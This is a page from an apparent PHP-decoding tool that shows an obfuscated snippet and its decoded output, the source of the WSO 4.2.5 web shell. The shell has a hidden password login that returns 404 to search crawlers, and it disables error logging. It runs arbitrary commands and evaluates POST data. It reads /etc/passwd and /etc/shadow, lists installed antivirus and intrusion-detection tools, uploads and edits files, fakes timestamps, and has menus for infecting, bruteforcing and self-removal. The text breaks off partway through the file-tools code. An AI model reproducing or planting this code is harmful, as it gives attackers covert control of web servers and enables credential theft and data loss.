Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $ghjytjytjytj = "\163\164\x72\x5f\162\x6f\164" . "13"; $gergfdh = "\147\x7a\151\x6e\..
Decoded Output download
$ = "";
$ = true;
$ = 'UTF-8';
$ = 'FilesMan';
$ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
prototype(md5($_SERVER['HTTP_HOST'])."key", $);
}
if(empty($_POST['fdgwe3']))
$_POST['fdgwe3'] = $;
if (!isset($_POST['ne'])) {
if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['fdgwe3'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['fdgwe3'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['hbtrtr'])) $_POST['hbtrtr'] = iconv("utf-8", $_POST['fdgwe3'], decrypt($_POST['hbtrtr'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['ymterdf'])) $_POST['ymterdf'] = iconv("utf-8", $_POST['fdgwe3'], decrypt($_POST['ymterdf'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['hnythfdfds'])) $_POST['hnythfdfds'] = iconv("utf-8", $_POST['fdgwe3'], decrypt($_POST['hnythfdfds'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
@set_magic_quotes_runtime(0);
@define('VERSION', '4.2.5');
if(get_magic_quotes_gpc()) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
$_COOKIE = stripslashes_array($_COOKIE);
}
/* () 11.2011 oRb */
if(!empty($)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $))
prototype(md5($_SERVER['HTTP_HOST']), $);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $))
hardLogin();
}
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$;
function hardLogin() {
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
/* () 04.2015 Pirat */
function hardHeader() {
if(empty($_POST['fdgwe3']))
$_POST['fdgwe3'] = $GLOBALS[''];
echo "<html><head><meta http-equiv='Content-Type' content='text/html; fdgwe3=" . $_POST['fdgwe3'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."</title>
<style>
body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
table.info {color:#C3C3C3;}
table#toolsTbl {background-color: #060A10;}
span,h1,a {color:#fff !important;}
span {font-weight:bolder;}
h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
div.content {padding:5px;margin-left:5px;background-color:#060a10;}
a {text-decoration:none;}
a:hover {text-decoration:underline;}
.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
.tooltip:hover::after {opacity:1;visibility:visible;}
.ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
.bigarea {min-width:100%;max-width:100%;height:400px;}
input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
label {position:relative}
label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
form {margin:0px;}
#toolsTbl {text-align:center;}
#fak {background:none;}
#fak td {padding:5px 0 0 0;}
iframe {border:1px solid #060a10;}
.toolsInp {width:300px}
.main th {text-align:left;background-color:#060a10;}
.main tr:hover{background-color:#354252;}
.main td, th{vertical-align:middle;}
input[type='submit']{background-color:#2E6E9C;}
input[type='button']{background-color:#2E6E9C;}
input[type='submit']:hover{background-color:#56AD15;}
input[type='button']:hover{background-color:#56AD15;}
.l1 {background-color:#202832;}
pre {font:9pt Courier New;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var fdgwe3_ = '" . htmlspecialchars(@$_POST['fdgwe3']) ."';
var hbtrtr_ = '" . ((strpos(@$_POST['hbtrtr'],"
")!==false)?'':htmlspecialchars($_POST['hbtrtr'],ENT_QUOTES)) ."';
var ymterdf_ = '" . ((strpos(@$_POST['ymterdf'],"
")!==false)?'':htmlspecialchars($_POST['ymterdf'],ENT_QUOTES)) ."';
var hnythfdfds_ = '" . ((strpos(@$_POST['hnythfdfds'],"
")!==false)?'':htmlspecialchars($_POST['hnythfdfds'],ENT_QUOTES)) ."';
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,hbtrtr,ymterdf,hnythfdfds,fdgwe3) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(hbtrtr!=null)d.mf.hbtrtr.value=hbtrtr;else d.mf.hbtrtr.value=hbtrtr_;
if(ymterdf!=null)d.mf.ymterdf.value=ymterdf;else d.mf.ymterdf.value=ymterdf_;
if(hnythfdfds!=null)d.mf.hnythfdfds.value=hnythfdfds;else d.mf.hnythfdfds.value=hnythfdfds_;
d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.hbtrtr.value = encrypt(d.mf.hbtrtr.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.ymterdf.value = encrypt(d.mf.ymterdf.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.hnythfdfds.value = encrypt(d.mf.hnythfdfds.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
if(fdgwe3!=null)d.mf.fdgwe3.value=fdgwe3;else d.mf.fdgwe3.value=fdgwe3_;
}
function g(a,c,hbtrtr,ymterdf,hnythfdfds,fdgwe3) {
set(a,c,hbtrtr,ymterdf,hnythfdfds,fdgwe3);
d.mf.submit();
}
function a(a,c,hbtrtr,ymterdf,hnythfdfds,fdgwe3) {
set(a,c,hbtrtr,ymterdf,hnythfdfds,fdgwe3);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=hbtrtr>
<input type=hidden name=ymterdf>
<input type=hidden name=hnythfdfds>
<input type=hidden name=fdgwe3>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$fdgwe3s = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_fdgwe3s = '';
foreach($fdgwe3s as $)
$opt_fdgwe3s .= '<option value="'.$.'" '.($_POST['fdgwe3']==$?'selected':'').'>'.$.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if (is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
/* () 08.2015 dmkcv */
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
'<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://noreferer.de/?http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_fdgwe3s.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
}
function hardFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#FFDB5F'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
<tr>
<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
</tr><tr>
<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
</tr><tr>
<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=hbtrtr value='uploadFile'>
<input type=hidden name=ne value=''>
<input type=hidden name=fdgwe3 value='" . (isset($_POST['fdgwe3'])?$_POST['fdgwe3']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>
</tr></table></div>
<!-- particles --> <div id='particles-js'></div><script src='https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
</body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
function ex($in) {
$ = '';
if (function_exists('exec')) {
@exec($in,$);
$ = @join("
",$);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$ = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$ = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$ = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$ = "";
while(!@feof($f))
$ .= fread($f,1024);
pclose($f);
}else return " Unable to execute command
";
return ($==''?" Query did not return anything
":$);
}
function viewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function viewPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
elseif (!@is_writable($f))
return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
else
return '<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';
}
function hardScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function which($p) {
$path = ex('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionRC() {
if(!@$_POST['hbtrtr']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"VERSION" => VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['hbtrtr']);
}
}
function prototype($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
function actionSecInfo() {
hardHeader();
echo '<h1>Server security information</h1><div class=content>';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
showSecParam('Open base dir', @ini_get('open_basedir'));
showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
showSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
showSecParam('OS version', @file_get_contents('/proc/version'));
showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bziymterdf','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $)
if(which($))
$temp[] = $;
showSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $)
if(which($))
$temp[] = $;
showSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $)
if(which($))
$temp[] = $;
showSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
showSecParam('HDD space', ex('df -h'));
showSecParam('Hosts', @file_get_contents('/etc/hosts'));
showSecParam('Mount options', @file_get_contents('/etc/fstab'));
}
} else {
showSecParam('OS Version',ex('ver'));
showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
}
echo '</div>';
hardFooter();
}
function actionFilesTools() {
if( isset($_POST['hbtrtr']) )
$_POST['hbtrtr'] = urldecode($_POST['hbtrtr']);
if(@$_POST['ymterdf']=='download') {
if(@is_file($_POST['hbtrtr']) && @is_readable($_POST['hbtrtr'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['hbtrtr']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['hbtrtr']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['hbtrtr'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['ymterdf'] == 'mkfile' ) {
if(!file_exists($_POST['hbtrtr'])) {
$fp = @fopen($_POST['hbtrtr'], 'w');
if($fp) {
$_POST['ymterdf'] = "edit";
fclose($fp);
}
}
}
hardHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['hbtrtr']) ) {
echo 'File not exists';
hardFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['hbtrtr']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['hbtrtr']);
$gid['name'] = @filegroup($_POST['hbtrtr']);
} else $gid = @posix_getgrgid(@filegroup($_POST['hbtrtr']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['hbtrtr'])).' <span>Size:</span> '.(is_file($_POST['hbtrtr'])?viewSize(filesize($_POST['hbtrtr'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['hbtrtr']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['hbtrtr'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['hbtrtr'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['hbtrtr'])).'<br><br>';
if( empty($_POST['ymterdf']) )
$_POST['ymterdf'] = 'view';
if( is_file($_POST['hbtrtr']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['hbtrtr']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['ymterdf'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['ymterdf']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['hbtrtr'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['hbtrtr']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$oRb = @highlight_file($_POST['hbtrtr'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['hnythfdfds']) ) {
$perms = 0;
for($i=strlen($_POST['hnythfdfds'])-1;$i>=0;--$i)
$perms += (int)$_POST['hnythfdfds'][$i]*pow(8, (strlen($_POST['hnythfdfds'])-$i-1));
if(!@chmod($_POST['hbtrtr'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.hnythfdfds.value="";</script>';
}
clearstatcache();
echo '<script>hnythfdfds_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['hbtrtr']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['hbtrtr'])),-4).'"><input type=submit value="submit"></form>';
break;
case 'edit':
if( !is_writable($_POST['hbtrtr'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['hnythfdfds']) ) {
$time = @filemtime($_POST['hbtrtr']);
$_POST['hnythfdfds'] = substr($_POST['hnythfdfds'],1);
$fp = @fopen($_POST['hbtrtr'],"w");
if($fp) {
@fwrite($fp,$_POST['hnythfdfds']);
@fclose($fp);
echo 'Saved!<br><script>hnythfdfds_="";</script>';
@touch($_POST['hbtrtr'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['hbtrtr']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['hbtrtr'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value="submit"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['hbtrtr']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['hnythfdfds']) ) {
if(!@rename($_POST['hbtrtr'], $_POST['hnythfdfds']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['hnythfdfds']).'",null,"")</script>');
}
